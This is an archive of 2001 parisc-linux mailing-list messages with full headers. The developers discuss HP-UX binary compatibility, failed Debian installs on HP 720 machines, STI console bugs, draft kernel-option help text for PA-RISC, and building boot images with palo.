Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 09:33:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A963848A6
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 09:33:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15o54r-00030l-00; Mon, 01 Oct 2001 16:33:53 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F9@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Mon, Oct 01, 2001 at 08:35:52AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12405

On Mon, Oct 01, 2001 at 08:35:52AM -0500, Neulinger, Nathan wrote:
> IASQ: 00000725 00000725 IAOQ: c0000007 c000000b
>  IIR: e02025b2    ISR: 00000725  IOR: faf0226c
>  CPU:        0   CR30: 2734c000 CR31: 10388000
>  ORIG_R28: 000b8950

Interesting.  It's trying to execute code in userspace at 0xc000'0000 and
up.  This is very strange.  I'll investigate this today.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@wildopensource.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: 01 Oct 2001 11:38:55 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <m3itdzmkts.fsf@trained-monkey.org>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F8@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620550 26806 80.91.229.3 (22 Nov 2014 01:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:30 +0000 (UTC)
Cc: "'Matthew Wilcox'" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 09:39:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trained-monkey.org (trained-monkey.org [209.217.122.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DBF04932
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 09:39:03 -0600 (MDT)
Original-Received: (from jes@localhost)
	by trained-monkey.org (8.9.3/8.9.3) id LAA09950;
	Mon, 1 Oct 2001 11:38:55 -0400
Original-Sender: jes@trained-monkey.org
In-Reply-To: "Neulinger, Nathan"'s message of "Mon, 1 Oct 2001 08:31:07 -0500"
Original-Lines: 21
X-Mailer: Gnus v5.7/Emacs 20.7
Xref: news.gmane.org gmane.linux.ports.parisc:12406

>>>>> "Nathan" == Neulinger, Nathan <nneul@umr.edu> writes:

Nathan> But for testing, I've just tried very simple programs - cal,
Nathan> yes, echo, and a staticly linked hello world. All of them
Nathan> segfault right after execution.

Nathan> As far as I know, the only system calls out of the ordinary
Nathan> the flexlm stuff should use are file locking and perhaps some
Nathan> of the ioctl stuff for getting interface address, but I
Nathan> figured on tracing to find out exactly what it's doing.

I really don't think it should be that much work to get the basics
going, it might be a bit more to get more advanced applications up and
running.

I don't know anything really about the implementation of flexlm, but
I'd say it should be doable with a limited effort. Time to get out
that compiler and debugger and get hacking ;-)

Cheers
Jes




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 10:40:47 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D800@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620550 26809 80.91.229.3 (22 Nov 2014 01:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:30 +0000 (UTC)
Cc: "'Matthew Wilcox'" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "'Jes Sorensen'" <jes@wildopensource.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 09:42:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9ED934932
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 09:42:30 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id KAA16484; Mon, 1 Oct 2001 10:41:18 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHCM6C>; Mon, 1 Oct 2001 10:41:18 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12407

> I really don't think it should be that much work to get the basics
> going, it might be a bit more to get more advanced applications up and
> running.
> 
> I don't know anything really about the implementation of flexlm, but
> I'd say it should be doable with a limited effort. Time to get out
> that compiler and debugger and get hacking ;-)
> 
> Cheers
> Jes

As far as I know, flexlm should be a pretty basic socket server, nothing
fancy, other than it's retrieval of the HP host id, which I presume is just
a syscall of some sort. Unfortunately, it does require use of shared lib
libc since that's how it was linked. 

-- Nathan 




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@wildopensource.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: 01 Oct 2001 11:51:37 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <m3elonmk8m.fsf@trained-monkey.org>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D800@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620550 26813 80.91.229.3 (22 Nov 2014 01:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:30 +0000 (UTC)
Cc: "'Matthew Wilcox'" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 09:51:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trained-monkey.org (trained-monkey.org [209.217.122.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 673454924
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 09:51:44 -0600 (MDT)
Original-Received: (from jes@localhost)
	by trained-monkey.org (8.9.3/8.9.3) id LAA09970;
	Mon, 1 Oct 2001 11:51:38 -0400
Original-Sender: jes@trained-monkey.org
In-Reply-To: "Neulinger, Nathan"'s message of "Mon, 1 Oct 2001 10:40:47 -0500"
Original-Lines: 13
X-Mailer: Gnus v5.7/Emacs 20.7
Xref: news.gmane.org gmane.linux.ports.parisc:12408

>>>>> "Nathan" == Neulinger, Nathan <nneul@umr.edu> writes:

Nathan> As far as I know, flexlm should be a pretty basic socket
Nathan> server, nothing fancy, other than it's retrieval of the HP
Nathan> host id, which I presume is just a syscall of some
Nathan> sort. Unfortunately, it does require use of shared lib libc
Nathan> since that's how it was linked.

Hmmm, admittedly I know little about the HPUX shared linker. However
even then I don't think it should be too big of a problem, provided
Linux/HPPA is able to map binaries at the same place as HPUX.

Jes




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] woody install on 720/50
Date: Mon, 1 Oct 2001 17:54:25 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20011001175425.A31305@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="mP3DRpeJDSE+ciuQ"
X-Trace: ger.gmane.org 1416620551 26815 80.91.229.3 (22 Nov 2014 01:42:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 09:58:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06BE64924
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 09:55:37 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15o5Pc-0000lW-00
	for parisc-linux@lists.parisc-linux.org; Mon, 01 Oct 2001 17:55:20 +0200
Original-Received: (qmail 24443 invoked from network); 1 Oct 2001 15:55:19 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 1 Oct 2001 15:55:19 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15o5Oj-000892-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 01 Oct 2001 17:54:25 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15o5Pc-0000lW-00*mslZEOxRtP2* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12409

--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello all,

After applying Jurij's latest patch, and creating a new Debian bootdisk
lifimage with it, I booted it up and tried the Debian install again.

I tried a CD-ROM install first, but the installer refused to mount my
CD-ROM for some reason, even though it was detected as a possible device
to boot from.

Next I tried a network install using my i386 box (with co-ax network
card to connect to the 720) as a web server. According to the
access.log, the drivers.tgz and rescue.bin very retrieved without
problems. When it tried to extract the rescue.bin, it croaked with a=20
message saying "Bad address." When I tried to retrieve the images a
second time, the installer croaked.

The box still responds to pings, but not much else.

Any ideas on the "Bad address" problem?

Regards,

Albert

--mP3DRpeJDSE+ciuQ
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7uJGxDg+hOeRZtkMRAmULAJ9ld6pU/TBSSHU/3K3rAmYUYSEzpQCdF1Pw
29mrauEgHl/MZiMlV8bKbDk=
=nZ+G
-----END PGP SIGNATURE-----

--mP3DRpeJDSE+ciuQ--




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Mon, 01 Oct 2001 19:12:28 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <3BB8A3FC.7090304@hrzpub.tu-darmstadt.de>
References: <20010921104838.A2049@beavis.ybsoft.com> <3BAF13BC.3090302@hrzpub.tu-darmstadt.de> <20010924215918.A23464@beavis.ybsoft.com> <3BB0BFF9.50708@hrzpub.tu-darmstadt.de> <20010925210035.A22586@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620551 26820 80.91.229.3 (22 Nov 2014 01:42:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 11:11:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BA0048C1
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 11:11:35 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (dialin-145-254-193-131.arcor-ip.net [145.254.193.131])
	by mx04.nexgo.de (Postfix) with ESMTP
	id 554D437BE8; Mon,  1 Oct 2001 19:11:30 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) Gecko/20010913
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12410

Thomas Bogendoerfer wrote:

>
>bug in the sti code. It doesn't use the sti rom from the card, but from
>the onboard sti rom. I've played with my 715/100 with an extra HCRX and
>had the same problem. I've disabled the HCRX by removing the connection
>between mainboard and HCRX, then the kernel from the 0.9.2 crashed after
>starting the init from the install ramdisk (Kernel Fault: Code=15) :-(
>
>Hopefully I'll get some sti hacking done during the upcoming Linux
>Hackermeeting in Oldenburg coming weekend.
>
>Thomas.
>

Hi,

I'm glad i'm not the only one with this problem. And even someone knows 
the solution for the problem. ;-). I also disabled my add-on card the 
same way, and then the sti-stuff worked quite fine. But it would be 
cooler to use the second card, too.
But you already have a patch? I can only help with testing and a little 
bit of debugging as all of my fingers are thumbs ;-)

So long,
        Ruediger






From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Second Draft of the help for the kernel options
Date: Tue, 02 Oct 2001 01:16:39 +0200
Lines: 156
Approved: news@gmane.org
Message-ID: <3BB8F957.C9811C25@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620552 26821 80.91.229.3 (22 Nov 2014 01:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:32 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 17:19:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 773474841
	for <parisc-linux@parisc-linux.org>; Mon,  1 Oct 2001 17:19:12 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 0BA95D15AD
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 01:18:48 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12411

Hi all,

	Once again, I ask you to verify what I wrote and only God knows how
important it is to re-read this file b/c it is useful and I made it so
many mistakes for sure :)

	I added the comments of the first draft (Thanks to Grant) and CPU type
help too. I do not really like the lists. If you have any better idea,
please let me know.

Thanks, Thomas.
ESIEE Team

PS: I would like to know if I can put the PA-RISC/Linux Boot HOWTO into
stable state??

Text to add in Documentation/ Configure.help
======================================================================================


Processor family
CONFIG_PA7100
  In this section, you will find enough informations to set correctly 
  your CPU type option. Nevertheless, if you need more, you can see 
  all the hardware content of your box at http://hwdb.parisc-linux.org.
  
  If you select the PA7000/PA7100 option, your box must be one of these 
  listed below: 705/35, 710/50, 715/33, 715/50, 715/75, 720/50, 725/50, 
  725/75, 730/66, 735/99, 735/125, 750/66, 755/99.

  If you select the PA7200 option, your box must be one of these listed 
  below: C100, C110, D250, D350, D260, D360, J200, J210, K100, K200, 
  K210, K220, K400, K410, K420.

  If you choose the PA7100LC/PA7300LC option then your box is 715/64, 
  715/80, 715/100, 725/100, A180, B132L(+), B160L(+), B180L(+), C160L, 
  C180L, D200, D210, D220, D230, D300, D310, D320 or D330. There are 
  also some systems from the E series but there are not yet supported.

  Finally, PA8x00 is the good choice for all new stuff like A500, B1000,
  B2000, B2600, C200+, C240+, C3000, C3600, J282, J2240, J5000, J6000, 
  J6700, J7000, K250, K260, K270, K370, K450, K460, K470, K570, L1000, 
  L2000, L3000, N4000, V2200, V2250, V2500.

  Now, you should be sure of which CPU type. If not, please send a mail 
  to parisc-linux@lists.parisc-linux.org.

64-bit kernel
CONFIG_PARISC64
  The 64-bit kernel support give the capability of using 64-bit CPU to 
  the kernel. This is useful for PA8X00 series minimum. Note that even
  if your kernel is 64-bit, your userspace will be in 32-bit.

GSC/Gecko bus support
CONFIG_GSC
  This option gives to the kernel the capability to manage GSC buses 
  of HP computers. More than that, if you have systems with GSC slots, 
  LASI, EISA or Dino (GSCtoPCI) bridge, this option is also compulsory 
  if you want it working.

LASI I/O support
CONFIG_GSC_LASI
  LASI is one type of controller embedded in HP workstations and 
  servers. It controls some I/O devices like PS2 keyboard and mouse, 
  audio or serial interface. The best advice is to keep it in your 
  configuration, if you are not sure about that point.

WAX support
CONFIG_GSC_WAX
  WAX is an EISA bus converter for PA-RISC systems. It can be found in
  older systems like B/C/D/R-class machines. This option enables this 
  converter. Note that it is under heavy development. Thus, it may not 
  be working.

GSCtoPCI/DINO PCI support
CONFIG_GSC_DINO
  By selecting this item, you add PCI support for Dino PCI Host Bus
bridge.
  PCI devices are sometimes embedded in GSC add-on cards (aka "card-mode 
  Dino"). Note that only recent systems need it like B132L, C200. For
more
  information, go to http://hwdb.parisc-linux.org.

Chassis LCD and LED support
CONFIG_CHASSIS_LCD_LED
  HP boxes have LED or LCD indicator on the front in order to show some 
  basic information like status for example. With this enabled, you can
  have this help also available.

Kernel support for SOM binaries
CONFIG_BINFMT_SOM
  SOM (Spectrum Object Model) is a format for libraries and executables 
  used by HP. Saying Y here will enable your kernel to run SOM binaries.
  As a result, you could run HP-UX executables. This capability is still
  in development. Then, you use this functionality with no warranty!

LASI/ASP builtin parallel-port
CONFIG_PARPORT_GSC
  If you have a LASI or ASP controller in your HP box and you want to
use 
  the parallel port, a good idea will be to keep this item in your
  configuration.

HP Lasi SCSI support
CONFIG_SCSI_LASI
  If you have an old HP system like a 712, you should keep this on.
  This will enable your SCSI controller and give you access to 
  SCSI devices. For quite recent computers, you may be able to turn 
  this off. 

Lasi ethernet
CONFIG_LASI_82596
  This option adds the driver for one of most used network chips 
  integrated in LASI chip. It is also known as Apricot driver. It is 
  based on an Intel 82596 chip. If you do not know what is your 
  hardware, it is strongly recommended to keep is on.

Support for Lasi/Dino PS2 port
CONFIG_GSC_PS2
  The PS2 connector of the HP boxes looks like a standard PC connector.
  If you want to use the PS2 keyboard and mouse, you must keep this on.
  Anyway, some HP workstations and servers have this kind of interfaces
  but not the ports you can plug in your devices. Thus, the best thing
  to do anyway is to let this choice turned on.

serial port on GSC support
CONFIG_SERIAL_GSC
  For most of the HP servers and for some workstations that do not have 
  its video card supported yet, you will need to get the console output
  via the serial port. As a result, you could interact with the box via
  a VT or a serial cable link to another computer.

STI console
CONFIG_STI_CONSOLE
  The Standard Text Interface could correspond to the VGA support for
PC.
  HP developped STI as a mechanism between CPU and graphics devices. 
  Thus, if you want your console on your screen like any other PC linux
  does, leave this option on.
  If you do not have any success with your console output, we advice you
  to check if you have checked the STI frame buffer option, aka 
  CONFIG_FB_STI, in your configuration. Some models are happy when the 
  two of them are enabled and some others prefer to have only this one 
  only.
  Anyway, if you failed to have the screen output, you can switch to the 
  serial console output.

PA Harmony audio driver
CONFIG_SOUND_HARMONY
  This option enables the audio part of the LASI controller. Since it is 
  standard to all the boxes, this option should be set for any 
  workstation except the newest ones. Servers do not really need audio. 
  Then, you can unset it.




From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Tue, 2 Oct 2001 01:27:23 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20011002012722.B31659@dogbert.localdomain>
References: <20011001175425.A31305@dogbert.localdomain> <20011002082429.C1965@silly.cloud.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="V0207lvV8h4k8FAm"
X-Trace: ger.gmane.org 1416620552 26825 80.91.229.3 (22 Nov 2014 01:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Hamish Moffatt <hamish@cloud.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 17:28:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A12B483F
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 17:28:22 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15oCTy-0006EO-00
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Oct 2001 01:28:18 +0200
Original-Received: (qmail 25054 invoked from network); 1 Oct 2001 23:28:18 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 1 Oct 2001 23:28:18 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15oCT5-0008F6-00; Tue, 02 Oct 2001 01:27:23 +0200
Content-Disposition: inline
In-Reply-To: <20011002082429.C1965@silly.cloud.net.au>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15oCTy-0006EO-00*rxyRMXGb2Mc* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12412

--V0207lvV8h4k8FAm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Tue, 02 Oct 2001, Hamish Moffatt wrote:

> On Mon, Oct 01, 2001 at 05:54:25PM +0200, Albert Strasheim wrote:
> > After applying Jurij's latest patch, and creating a new Debian bootdisk
> > lifimage with it, I booted it up and tried the Debian install again.
>=20
> Hmm, is that easy to do? I need to build a new kernel from the CVS
> sources for my D350, and it would be easiest to build a new CD
> to boot from rather than to boot the new kernel over the network.

I've think I've tried to convey the following command to you in about 3
different threads across 2 mailing lists :-)

Get palo-latest.tar.gz (about 62 KB) from puffin.external.hp.com,
compile that, cross-compile your kernel and then run the following:

(linux/ contains the kernel and palo/ contains the bootloader)

palo/palo/palo -f /dev/null -k linux/vmlinux -r root.bin -s lifimage \
  -b palo/iplboot -c "0/linux HOME=3D/ root=3D/dev/ram initrd=3D0/ramdisk"

What this does is the following:

palo takes the kernel (vmlinux (with Jurij's patches in my case)), the
latest Debian rootdisk (root.bin), puts them together and creates a
lifimage for you to boot via rbootd or tftpd (depending on your model).

Tada!

Have fun,

Albert

--V0207lvV8h4k8FAm
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7uPvaDg+hOeRZtkMRAjZTAJ99u1ELqyVQmlL7VOr8QDL9+z8RzQCdEGjb
DLjJzKknOYxeJtdllgK9/ps=
=Jpd2
-----END PGP SIGNATURE-----

--V0207lvV8h4k8FAm--




From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Probably a silly question...
Date: Tue, 2 Oct 2001 10:27:33 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72B85@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620552 26831 80.91.229.3 (22 Nov 2014 01:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 18:29:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id A01804844
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 18:29:33 -0600 (MDT)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <SF56H2P5>; Tue, 2 Oct 2001 10:27:36 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12413

Hi all:

I have a couple of 735/99s which I'd like to run linux on, but have a
problem: they only have FDDI networking, which isn't compatible with my
network. 

I would really like to be able to run at least 10baseT on these boxes. So,
the question is, can I run an ISA network card in the EISA slot? I tried a
little while back to compile a driver using the normal Linux source, but it
was wrapped inside an #ifdef CONFIG_PCI or CONFIG_ISA, while my box has (I
assume) CONFIG_EISA defined. I know that on peecees EISA is a
backwards-compatible extension of ISA, is this the case on the PARISC line?
And if so, can I change the source of the driver to be #ifdef CONFIG_ISA ||
CONFIG_EISA (or whatever the syntax is)?

Any pointers would be appreciated (and keep up the good work!!).

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  m.vandewerken@cat.csiro.au




From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mszick@pflash.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Mon,  1 Oct 2001 10:13:18 -0600 (MDT)
Lines: 111
Approved: news@gmane.org
Message-ID: <20011001161318.54B9E491F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620553 26832 80.91.229.3 (22 Nov 2014 01:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:33 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 10:13:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54B9E491F
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 10:13:18 -0600 (MDT)
Original-Received: from Wolf-01 (ppp55.cc1.pflash.com [63.121.24.57]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007096446@vopserver.pflashcom>;
 Mon, 1 Oct 2001 11:17:28 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:12414

>From liboe@linux  Sat Jun 17 01:08:25 2000
From: Michael S. Zick <mszick@Wolf-01>
To: "John Marvin" <jsm@udlkern.fc.hp.com>
Subject: Re: [parisc-linux] 720 - some progress
